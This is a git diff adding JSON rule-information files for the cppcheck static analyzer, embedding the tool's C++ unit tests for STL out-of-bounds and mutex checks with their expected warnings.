{\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkMutexes.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkMutexes.json new file mode 100644 index 0000000..70fb3ae --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkMutexes.json @@ -0,0 +1,22 @@ +{ + "name": "checkMutexes", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 35, + "branches": 17, + "apis": 41, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6992 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. 